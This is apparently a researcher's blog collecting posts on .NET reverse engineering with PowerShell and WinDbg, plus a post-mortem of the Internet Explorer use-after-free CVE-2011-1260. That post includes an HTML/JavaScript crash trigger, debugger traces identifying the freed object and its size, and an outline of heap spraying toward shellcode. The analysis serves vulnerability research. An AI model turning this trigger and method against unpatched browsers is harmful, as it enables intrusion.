PowerShell Summit 2014

Yesterday, I gave two presentations at the PowerShell Summit. The first presentation was on advanced eventing techniques in PowerShell and the second was on using PowerShell as a reverse engineering tool. As it turns out, PowerShell is an awesome tool for automating the analysis of .NET malware samples. I’ve included the slides for each talk. Additionally, you can download all of my demo code here. Just be mindful that this is all PoC code so it’s not in a well-polished state. Note: I provided the MD5 hashes of the malware samples but I won’t be providing a direct download link for them. Enjoy!

As a security professional, attending the PowerShell Summit is a great opportunity for me to meet and mingle with those outside of the security field as it forces me to get out of my security bubble and gain a completely different perspective from a wide range of IT pros and developers who are using PowerShell for completely non-malicious purposes ;)! Not to mention, getting to pick the brains of Microsoft employees like Jeffrey Snover, Lee Holmes, Jason Shirk, and Joe Bialek is humbling to say the least.

Reverse Engineering InternalCall Methods in .NET

Often times, when attempting to reverse engineer a particular .NET method, I will hit a wall because I’ll dig in far enough into the method’s implementation that I’ll reach a private method marked [MethodImpl(MethodImplOptions.InternalCall)]. For example, I was interested in seeing how the .NET framework loads PE files in memory via a byte array using the System.Reflection.Assembly.Load(Byte[]) method. When viewed in ILSpy (my favorite .NET decompiler), it will show the following implementation:

 

 

So the first thing it does is check to see if you’re allowed to load a PE image in the first place via the CheckLoadByteArraySupported method. Basically, if the executing assembly is a tile app, then you will not be allowed to load a PE file as a byte array. It then calls the RuntimeAssembly.nLoadImage method. If you click on this method in ILSpy, you will be disappointed to find that there does not appear to be a managed implementation.

 

 

As you can see, all you get is a method signature and an InternalCall property. To begin to understand how we might be able reverse engineer this method, we need to know the definition of InternalCall. According to MSDN documentation, InternalCall refers to a method call that “is internal, that is, it calls a method that is implemented within the common language runtime.” So it would seem likely that this method is implemented as a native function in clr.dll. To validate my assumption, let’s use Windbg with sos.dll – the managed code debugger extension. My goal using Windbg will be to determine the native pointer for the nLoadImage method and see if it jumps to its respective native function in clr.dll. I will attach Windbg to PowerShell since PowerShell will make it easy to get the information needed by the SOS debugger extension. The first thing I need to do is get the metadata token for the nLoadImage method. This will be used in Windbg to resolve the method.

 

 

As you can see, the Get-ILDisassembly function in PowerSploit conveniently provides the metadata token for the nLoadImage method. Now on to Windbg for further analysis…

 

 

The following commands were executed:

 

1) .loadby sos clr

 

Load the SOS debugging extension from the directory that clr.dll is loaded from

 

2) !Token2EE mscorlib.dll 0x0600278C

 

Retrieves the MethodDesc of the nLoadImage method. The first argument (mscorlib.dll) is the module that implements the nLoadImage method and the hex number is the metadata token retrieved from PowerShell.

 

3) !DumpMD 0x634381b0

 

I then dump information about the MethodDesc. This will give the address of the method table for the object that implements nLoadImage

 

4) !DumpMT -MD 0x636e42fc

 

This will dump all of the methods for the System.Reflection.RuntimeAssembly class with their respective native entry point. nLoadImage has the following entry:

 

635910a0 634381b0   NONE System.Reflection.RuntimeAssembly.nLoadImage(Byte[], Byte[], System.Security.Policy.Evidence, System.Threading.StackCrawlMark ByRef, Boolean, System.Security.SecurityContextSource)

 

So the native address for nLoadImage is 0x635910a0. Now, set a breakpoint on that address, let the program continue execution and use PowerShell to call the Load method on a bogus PE byte array.

 

PS C:\> [Reflection.Assembly]::Load(([Byte[]]@(1,2,3)))

 

You’ll then hit your breakpoint in WIndbg and if you disassemble from where you landed, the function that implements the nLoadImage method will be crystal clear – clr!AssemblyNative::LoadImage

 

 

You can now use IDA for further analysis and begin digging into the actual implementation of this InternalCall method!

 

 

After digging into some of the InternalCall methods in IDA you’ll quickly see that most functions use the fastcall convention. In x86, this means that a static function will pass its first two arguments via ECX and EDX. If it’s an instance function, the ‘this’ pointer will be passed via ECX (as is standard in thiscall) and its first argument via EDX. Any remaining arguments are pushed onto the stack.

 

So for the handful of people that have wondered where the implementation for an InternalCall method lies, I hope this post has been helpful.

Get-MethodAddress - A Tool For Comparing .NET MSIL and ASM Method Implementations

Download: Get-MethodAddress

Lately, as part of my research, I've found myself wanting to learn more about how MSIL (Microsoft Intermediate Language) opcodes in .NET assemblies get translated to assembly language instructions. Unfortunately, there was no easy way that I was aware of to get the unmanaged address of a .NET method. After digging in to the wealth of MSIL opcodes at my disposal, I learned that the Ldftn opcode would suit my needs. This find resulted the Get-MethodAddress PowerShell cmdlet. Get-MethodAddress uses reflection to build an assembly on the fly and assemble a method using the opcodes of my choosing - specifically, Ldftn. Here is the code:

function Get-MethodAddress
{
    [CmdletBinding()] Param (
        [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
        [System.Reflection.MethodInfo]
        $MethodInfo
    )

    if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
    {
        Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
    }

    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
    # Assemble in memory
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
    $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
    $Params = New-Object System.Type[](0)
    # Declaration of the LeakMethod method
    $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [UInt64], $null)
    $Generator = $MethodBuilder.GetILGenerator()

    # Push unmanaged pointer to MethodInfo onto the evaluation stack
    $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
    # Convert the pointer to type - unsigned int64
    $Generator.Emit([System.Reflection.Emit.OpCodes]::Conv_Ovf_U8)
    $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)

    # Assemble everything
    $Type = $TypeBuilder.CreateType()
    $Method = $Type.GetMethod('LeakMethod')

    try
    {
        # Call the method and return its JITed address
        $Address = $Method.Invoke($null, @())

        Write-Output "0x$($Address.ToString("X$([IntPtr]::Size * 2)"))"
    }
    catch [System.Management.Automation.MethodInvocationException]
    {
        Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
    }
}

The relevant lines in the code are the ones that specify the MSIL opcodes to be assembled:

$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Conv_Ovf_U8)
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)

Ldftn as described by Microsoft "pushes an unmanaged pointer (type native int) to the native code implementing a specific method onto the evaluation stack." I then convert the native int to an unsigned int64 using the Conv_Ovf_U8 opcode and then return the value to the caller with Ret.

So how might one use this cmdlet? As an example, say I'm interested in the IL and ASM implementation of the [System.Intptr].ToPointer method. To get the IL of this method, you could use your .NET disassembler of choice. I like PowerShell so let's use that:

PS> ([IntPtr].GetMethod('ToPointer').GetMethodBody().GetILAsByteArray() | % {"0x$($_.ToString('X2'))"}) -join ','
0x02,0x7B,0x53,0x04,0x00,0x04,0x2A

The IL opcodes above translate into the following disassembly:

0x02                     ldarg.0
0x7B,0x53,0x04,0x00,0x04 ldfld void* System.IntPtr::m_value
0x2A                     ret

The code above simply loads a reference to an instance of an IntPtr object, dereferences the value held in the m_value field and returns the result. I suspect that the JITed representation would be equally straightforward. Let's confirm that:

PS> Get-MethodAddress ([IntPtr].GetMethod('ToPointer'))
0x000007FF35544CC0

Viewing the assembly instructions in WinDbg yielded the following:

mscorlib_ni+0xd04cc0:
000007ff`35544cc0 488b01    mov     rax,qword ptr [rcx]
000007ff`35544cc3 c3        ret
000007ff`35544cc4 cc        int     3

The assembly above does exactly what I expected. When ToPointer gets executed, the m_value field of the IntPtr instance gets loaded into the rcx register and dereferenced. Moving this value into rax followed by a ret implies that the dereferenced value is the return value of the ToPointer method.

It's worth noting the module name in the WinDbg output - mscorlib_ni. NI stands for "native image" which means that the version of mscorlib that was loaded into the PowerShell process was the version whose IL was converted to assembly language ahead of time.

Lastly, bear in mind that the combination of opcodes I used in the cmdlet are unverifiable which basically means that this technique cannot be used in more restricted .NET implementation (i.e. Silverlight, Windows Runtime, etc.). For a reference of IL opcodes and IL verification, read ECMA-335 CLI Partition III - CIL.

Get-ILDisassembly - A Scriptable MSIL Disassembler Added to PowerSploit

PowerSploit Repo

I just added Get-ILDisassembly to the PowerSploit project. This tool takes any MethodInfo object and returns the disassembly for that method, assuming it's not a native method or implemented via P/Invoke.

Get-ILDisassembly relies upon the fact that you can dump a raw byte array of a method's IL using the GetILAsByteArray method of the System.Reflection.MethodBody class.

MSIL is surprising easy to disassemble. It consists of either one or two-byte opcodes followed by an operand in many cases. Operands typically consist of one of three options:

1) An immediate value

2) A 32-bit metadata token which is used to describe a member of an object. The metadata token is then resolved with the ResolveMember or ResolveString methods in the System.Reflection.Module class.

3) A location to branch to in conditional logic

Each MSIL opcode is also described in detail in the System.Reflection.Emit.OpCodes class. Unfortunately, there is no direct way to resolve an opcode from a raw byte. In my function, I simply generate a hashtable that links a byte value to its respective MSIL opcode.

Here are some examples of how you could use Get-ILDisassembly:

PS> [Int].GetMethod('Parse', [String]) | Get-ILDisassembly | Format-Table Position, Instruction, Operand -AutoSize

Position Instruction Operand
-------- ----------- -------
IL_0000  ldarg.0
IL_0001  ldc.i4.7
IL_0002  call        System.Globalization.NumberFormatInfo.get_CurrentInfo
IL_0007  call        System.Number.ParseInt32
IL_000C  ret

In the example above, I'm simply dumping the disassembly of the System.Int32.Parse(String) method.

PS> $MethodInfo = [Array].GetMethod('BinarySearch', [Type[]]([Array], [Object]))
PS> Get-ILDisassembly $MethodInfo | Format-Table Position, Instruction, Operand -AutoSize

Position Instruction Operand
-------- ----------- -------
IL_0000  ldarg.0
IL_0001  brtrue.s    IL_000E
IL_0003  ldstr       'array'
IL_0008  newobj      System.ArgumentNullException..ctor
IL_000D  throw
IL_000E  ldarg.0
IL_000F  ldc.i4.0
IL_0010  callvirt    System.Array.GetLowerBound
IL_0015  stloc.0
IL_0016  ldarg.0
IL_0017  ldloc.0
IL_0018  ldarg.0
IL_0019  callvirt    System.Array.get_Length
IL_001E  ldarg.1
IL_001F  ldnull
IL_0020  call        System.Array.BinarySearch
IL_0025  ret

In this example, I disassemble the System.Array.BinarySearch(Array, Object) method.

Lastly, as I hinted upon on Twitter, you could certainly get creative with Get-ILDisassembly. I used it to calculate the frequency of all opcodes in every exported member of every loaded module in PowerShell using the following commands (caution: this takes a long time to run):

$InstructionStats = @{}

[AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {
  $_.GetTypes() | ForEach-Object {
   $_.GetMethods() | ForEach-Object {
     Get-ILDisassembly $_ | Select-Object Instruction | 
       ForEach-Object { 
         $InstructionStats[($_.Instruction)] += 1
       }
    }
  }
}

$InstructionStats.GetEnumerator() | Sort-Object Value -Descending | Format-Wide @{ Label = "OpCode"; Expression = {$_.Name}; Alignment = 'Right' }, @{ Label = "Frequency"; Expression = {($_.Value/$Total).ToString('#0.00%')}; ; Alignment = 'Left' } -AutoSize -Column 3

The result of this command will resemble the following:

Lastly, I would be a charlatan without mentioning that the disassembly techniques I used came straight out of the book "C# 4.0 in a Nutshell" and was used with generous permission from O'Reilly Media and the authors, Joseph Albahari and Ben Albahari. Enjoy!

Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)

Recently, I've been looking into the exploitation of use-after-free vulnerabilities. This class of bug is very application specific, but armed with just the right amount of knowledge these vulnerabilities can be exploited to bypass most modern OS exploit mitigations. After reading Nephi Johnson's (@d0c_s4vage) excellent article[1] on exploiting an IE use-after-free vulnerability, I decided to ride his coattails and show the steps I used to analyze his proof-of-concept crash code.

As shown in his blog post, here is Nephi's test case that crashes IE:

<html>
    <body>
        <script language='javascript'>
            document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
            document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
            document.body.innerHTML += "AAAAAAA";
            document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
        </script>
    </body>
</html>

Internet Explorer crashes at mshtml!CElement::Doc+0x2

76c.640): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=004aedc0 ecx=004e00e9 edx=00000000 esi=0209e138 edi=00000000

eip=6d55c402 esp=0209e10c ebp=0209e124 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246

mshtml!CElement::Doc+0x2:

6d55c402 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

Here is the order of execution leading to the crash:

mshtml!CTreeNode::ComputeFormats+0x42

6d58595a 8b0b            mov     ecx,dword ptr [ebx]

6d58595c e89f6afdff      call    mshtml!CElement::Doc (6d55c400)

mshtml!CElement::Doc:

6d55c400 8b01            mov     eax,dword ptr [ecx]

6d55c402 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

6d55c405 ffd2            call    edx

This is a classic C++ use-after-free vulnerability. IE is trying to call a function within a previously freed object's virtual function table. In the disassembly above, a pointer to some object [EBX] has a pointer to its virtual function table [ECX] that subsequently calls a function at offset 0x70 in its vftable [EAX+0x70].

What we need to find out is what type of object was freed and how many bytes get allocated for that object. That way, we can craft fake objects of that size (using javascript) whose vftable at offset 0x70 point to our shellcode.

Since mshtml!CTreeNode::ComputeFormats+0x42 points to the object in question (in EBX), I set a breakpoint in Windbg on that instruction and got the following:

BP mshtml!CTreeNode::ComputeFormats+0x42 10 ".printf \"Object Pointer:\\t%08x\\nVFTable Pointer:\\t%08x\\nVFTable:\\t\\t%08x\\nObject Type:\\n\", ebx, poi(ebx), poi(poi(ebx)); ln poi(poi(ebx)); g"

0:013> g
Object Pointer:    00608808
VFTable Pointer:    00611890
VFTable:        6caf1e40
Object Type:
(6caf1e40)   mshtml!CObjectElement::`vftable'   |  (6cbf9270)   mshtml!CDummyUnknown::`vftable'
Exact matches:
    mshtml!CObjectElement::`vftable' = <no type information>
Object Pointer:    005c55e8
VFTable Pointer:    005b4338
VFTable:        6cb96670
Object Type:
(6cb96670)   mshtml!CBodyElement::`vftable'   |  (6cbf9108)   mshtml!CCaret::`vftable'
Exact matches:
    mshtml!CBodyElement::`vftable' = <no type information>
Object Pointer:    00608808
VFTable Pointer:    00611890
VFTable:        6caf1e40
Object Type:
(6caf1e40)   mshtml!CObjectElement::`vftable'   |  (6cbf9270)   mshtml!CDummyUnknown::`vftable'
Exact matches:
    mshtml!CObjectElement::`vftable' = <no type information>
Object Pointer:    00608a18
VFTable Pointer:    005c2ac8
VFTable:        6ca47dd8
Object Type:
(6ca47dd8)   mshtml!CAnchorElement::`vftable'   |  (6ca48020)   mshtml!CFontElement::`vftable'
Exact matches:
    mshtml!CAnchorElement::`vftable' = <no type information>
Object Pointer:    00608ac8
VFTable Pointer:    005d6f68
VFTable:        6ca470e0
Object Type:
(6ca470e0)   mshtml!CPhraseElement::`vftable'   |  (6ca47308)   mshtml!CBlockElement::`vftable'
Exact matches:
    mshtml!CPhraseElement::`vftable' = <no type information>
Object Pointer:    00608808
VFTable Pointer:    00610023
VFTable:        00000000
Object Type:
(274.418): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00608808 ecx=00610023 edx=00000000 esi=0207e0b8 edi=00000000
eip=6cbfc402 esp=0207e08c ebp=0207e0a4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6cbfc402 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

As can be seen above, EBX points to a freed CObjectElement object. How can we know for sure that the object was freed and that it points to a CObjectElement object? Enabling the page heap and user stack traces of every call to malloc and free will do the trick. This technique also allows us to observe the size allocated to CObjectElement.

gflags /i iexplore.exe +hpa +ust

C:\Users\Temp\Desktop>gflags /i iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

BP mshtml!CTreeNode::ComputeFormats+0x42 12 "!heap -p -a poi(ebx); g"

...
    address 070ccf20 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 6ec31d4:          70ccf20               e0 -          70cc000             2000
          mshtml!CObjectElement::`vftable'
    6ed98e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    771e5c4e ntdll!RtlDebugAllocateHeap+0x00000030
    771a7e5e ntdll!RtlpAllocateHeap+0x000000c4
    771734df ntdll!RtlAllocateHeap+0x0000023a
    6bec1da3 mshtml!CObjectElement::CreateElement+0x00000018
    6bf54be9 mshtml!CreateElement+0x00000043
    6bf58961 mshtml!CHtmParse::ParseBeginTag+0x000000e3
    6bf56e93 mshtml!CHtmParse::ParseToken+0x00000082
    6bf575c9 mshtml!CHtmPost::ProcessTokens+0x00000237
    6bf478e8 mshtml!CHtmPost::Exec+0x00000221
    6bf178ae mshtml!CHtmLoad::Init+0x0000033c
    6bfdc444 mshtml!CDwnInfo::SetLoad+0x0000011b
    6bfdc348 mshtml!CDwnCtx::SetLoad+0x0000007a
    6bfdda01 mshtml!CHtmCtx::SetLoad+0x00000013
    6bf5be5f mshtml!CMarkup::Load+0x00000167
    6bf1746e mshtml!CMarkup::Load+0x000000ee
    6bf181c3 mshtml!CDoc::ParseHtmlStream+0x000000ce
    6bf17a5b mshtml!InjectHtmlStream+0x000000fd
    6bf1793e mshtml!HandleHTMLInjection+0x0000005c
    6bf171fa mshtml!CElement::InjectInternal+0x00000307
    6bf1704a mshtml!CElement::InjectCompatBSTR+0x00000046
    6bf1988c mshtml!CElement::put_innerHTML+0x00000040
    6c0572d6 mshtml!GS_BSTR+0x000001ac
    6c04235c mshtml!CBase::ContextInvokeEx+0x000005dc
    6c04c75a mshtml!CElement::ContextInvokeEx+0x0000009d
    6c04c79a mshtml!CInput::VersionedInvokeEx+0x0000002d
    6bff3104 mshtml!PlainInvokeEx+0x000000eb
    6d2fa1bc jscript!IDispatchExInvokeEx2+0x00000104
    6d2fa107 jscript!IDispatchExInvokeEx+0x0000006a
    6d2fa388 jscript!InvokeDispatchEx+0x00000098
    6d2fa432 jscript!VAR::InvokeByName+0x00000139
    6d30d8e8 jscript!VAR::InvokeDispName+0x0000007d
...

# At time of crash, [EBX] points to freed memory:

(3cc.748): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6ce35100 ebx=073cefb0 ecx=07c06f20 edx=00000000 esi=043dde18 edi=00000000
eip=6cabc400 esp=043dddec ebp=043dde04 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
6cabc400 8b01            mov     eax,dword ptr [ecx]  ds:0023:07c06f20=????????
0:005> !heap -p -a poi(ebx)
    address 07c06f20 found in
    _DPH_HEAP_ROOT @ 161000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    7af2820:          7c06000             2000
    6dec90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77ab641c ntdll!RtlDebugFreeHeap+0x0000002f
    77a77b92 ntdll!RtlpFreeHeap+0x0000005d
    77a42d80 ntdll!RtlFreeHeap+0x00000142
    7762f1cc kernel32!HeapFree+0x00000014
    6cb0ebb9 mshtml!CLineServices::DisposePtr+0x00000016
    70905306 msls31!DestroyILSObjText+0x000001cd
    7090512b msls31!LsDestroyContext+0x00000091
    6cb0f171 mshtml!DeinitLineServices+0x00000015
    6cb1355f mshtml!CLSCache::ReleaseEntry+0x0000003e
    6cadd1d4 mshtml!CLSMeasurer::Deinit+0x00000036
    6cb1b304 mshtml!CDisplay::UpdateView+0x00000208
    6cb18c5c mshtml!CFlowLayout::CommitChanges+0x0000009c
    6cb18b5c mshtml!CDisplay::WaitForRecalc+0x00000131
    6ca91a45 mshtml!CFlowLayout::LineStart+0x00000025
    6ca96625 mshtml!CDisplayPointer::GetLineStart+0x0000008b
    6ca96571 mshtml!CDisplayPointer::IsAtBOL+0x0000004e
    6ca90407 mshtml!CCaretTracker::PositionCaretAt+0x00000128
    6ca90294 mshtml!CCaretTracker::Init2+0x00000053
    6ca8e8b4 mshtml!CSelectionManager::SetCurrentTracker+0x00000026
    6ca8feb5 mshtml!CSelectionManager::CreateTrackerForContext+0x00000335
    6ca8fb99 mshtml!CSelectionManager::SetEditContext+0x0000008d
    6ca8fadd mshtml!CSelectionManager::SetEditContextFromElement+0x0000032d
    6ca95223 mshtml!CSelectionManager::SetInitialEditContext+0x00000064
    6ca95115 mshtml!CSelectionManager::Initialize+0x000001c6
    6ca9558f mshtml!CHTMLEditor::Initialize+0x00000168
    6ca33065 mshtml!CDoc::GetHTMLEditor+0x00000058
    6ca90d6c mshtml!CDoc::CreateServiceW+0x0000038c
    6cacbc6b mshtml!CDoc::QueryService+0x00000166
    7301ff58 IEFRAME!CSelectionServicesListenerBase::_GetHTMLEditServices+0x00000044
    7301fe9c IEFRAME!CSelectionServicesListenerBase::_GetSelectionServices2+0x00000036
    7301fe3a IEFRAME!CSelectionServicesListenerBase::_InstallSelectionServicesListener+0x0000001c

The size that gets allocated to the CObjectElement object is 0xE0. It is also handy to see the call stacks of what allocated and freed the object. The size allocated for the object was determined via dynamic analysis. There's more than one way to skin a cat though. The same information can be gleaned via static analysis. A brief glance of the mshtml!CObjectElement::CreateElement function (which was called in the call stack above) in IDA shows that 0xE0 bytes is allocated for CObjectElement.

According to the disassembly (for CObjectElement::CObjectElement), the actual size of the class is 0xDC. However, 0xE0 is allocated on the heap because the compiler rounded up the size to the nearest DWORD boundary.

Lastly, although it is not always necessary for exploitation, let's determine the actual function that should have been called at the time of the crash. This can be accomplished several ways in Windbg.

0:005> ln poi(mshtml!CObjectElement::`vftable'+0x70)
(6d6bc3d0)   mshtml!CElement::SecurityContext   |  (6d6bc400)   mshtml!CElement::Doc
Exact matches:
    mshtml!CElement::SecurityContext = <no type information>

or:

0:005> ? mshtml!CObjectElement::`vftable'+0x70
Evaluate expression: 1834688176 = 6d5b1eb0
0:005> dds mshtml!CObjectElement::`vftable'
6d5b1e40  6d5b17fa mshtml!CObjectElement::PrivateQueryInterface
6d5b1e44  6d6bc443 mshtml!CElement::PrivateAddRef
6d5b1e48  6d6bc466 mshtml!CElement::PrivateRelease
6d5b1e4c  6d62ce9b mshtml!CObjectElement::`vector deleting destructor'
6d5b1e50  6d644ad5 mshtml!CSite::Init
6d5b1e54  6d62cc29 mshtml!CObjectElement::Passivate
6d5b1e58  6d6bbd95 mshtml!CBase::IsRootObject
6d5b1e5c  6d7585a6 mshtml!CBase::EnumerateTrackedReferences
6d5b1e60  6d81fe3a mshtml!CBase::SetTrackedState
6d5b1e64  6d605743 mshtml!CElement::GetInlineStylePtr
6d5b1e68  6d6e6a10 mshtml!CElement::GetRuntimeStylePtr
6d5b1e6c  6d8b91cf mshtml!CBase::VersionedGetIDsOfNames
6d5b1e70  6d845847 mshtml!CElement::VersionedInvoke
6d5b1e74  6d5b2e75 mshtml!COleSite::VersionedGetDispID
6d5b1e78  6d5b2b83 mshtml!CObjectElement::VersionedInvokeEx
6d5b1e7c  6d764d4e mshtml!CBase::VersionedDeleteMemberByName
6d5b1e80  6d877b83 mshtml!CBase::VersionedDeleteMemberByDispID
6d5b1e84  6d73c532 mshtml!COmWindowProxy::VersionedGetDispID
6d5b1e88  6d52092c mshtml!CBase::VersionedGetMemberName
6d5b1e8c  6d73c532 mshtml!COmWindowProxy::VersionedGetDispID
6d5b1e90  6d8b921e mshtml!CBase::VersionedGetNameSpaceParent
6d5b1e94  6d877ecb mshtml!CBase::GetEnabled
6d5b1e98  6d877ecb mshtml!CBase::GetEnabled
6d5b1e9c  6d9448dd mshtml!COleSite::GetPages
6d5b1ea0  6d94488f mshtml!COleSite::InterfaceSupportsErrorInfo
6d5b1ea4  6d943cbb mshtml!CObjectElement::QueryStatus
6d5b1ea8  6d943d3b mshtml!CObjectElement::Exec
6d5b1eac  6d6c7770 mshtml!CHtmBodyParseCtx::GetHpxEmbed
6d5b1eb0  6d6bc3d0 mshtml!CElement::SecurityContext
6d5b1eb4  6d6e302d mshtml!CBase::SecurityContextAllowsAccess
6d5b1eb8  6d828617 mshtml!CElement::DesignMode
6d5b1ebc  6d5fe445 mshtml!CElement::SupportedCSSLevel

The function that should have been called was mshtml!CElement::SecurityContext.

So to refresh our memories, what was needed to begin exploiting a use-after-free bug?

1) The type of object referenced after being freed
2) The size allocated to the object

There is no magic command that will give you this information and as usual, there is always more than one way to obtain this information. The key is to understand what lead to the crash. The next step is to utilize javascript to declare string variables that will allocate fake objects in the heap that point to attacker controlled shellcode (via heap spraying). This can be accomplished reliably without needing to point to a typical address like 0x0C0C0C0C which serves as both an address in the heap and a NOP slide. More on that in a future blog post...

References:

1. N. Johnson, "Insecticides don't kill bugs, Patch Tuesdays do,"
June 16, 2011, http://d0cs4vage.blogspot.com/2011/06/insecticides-dont-kill-bugs-patch.html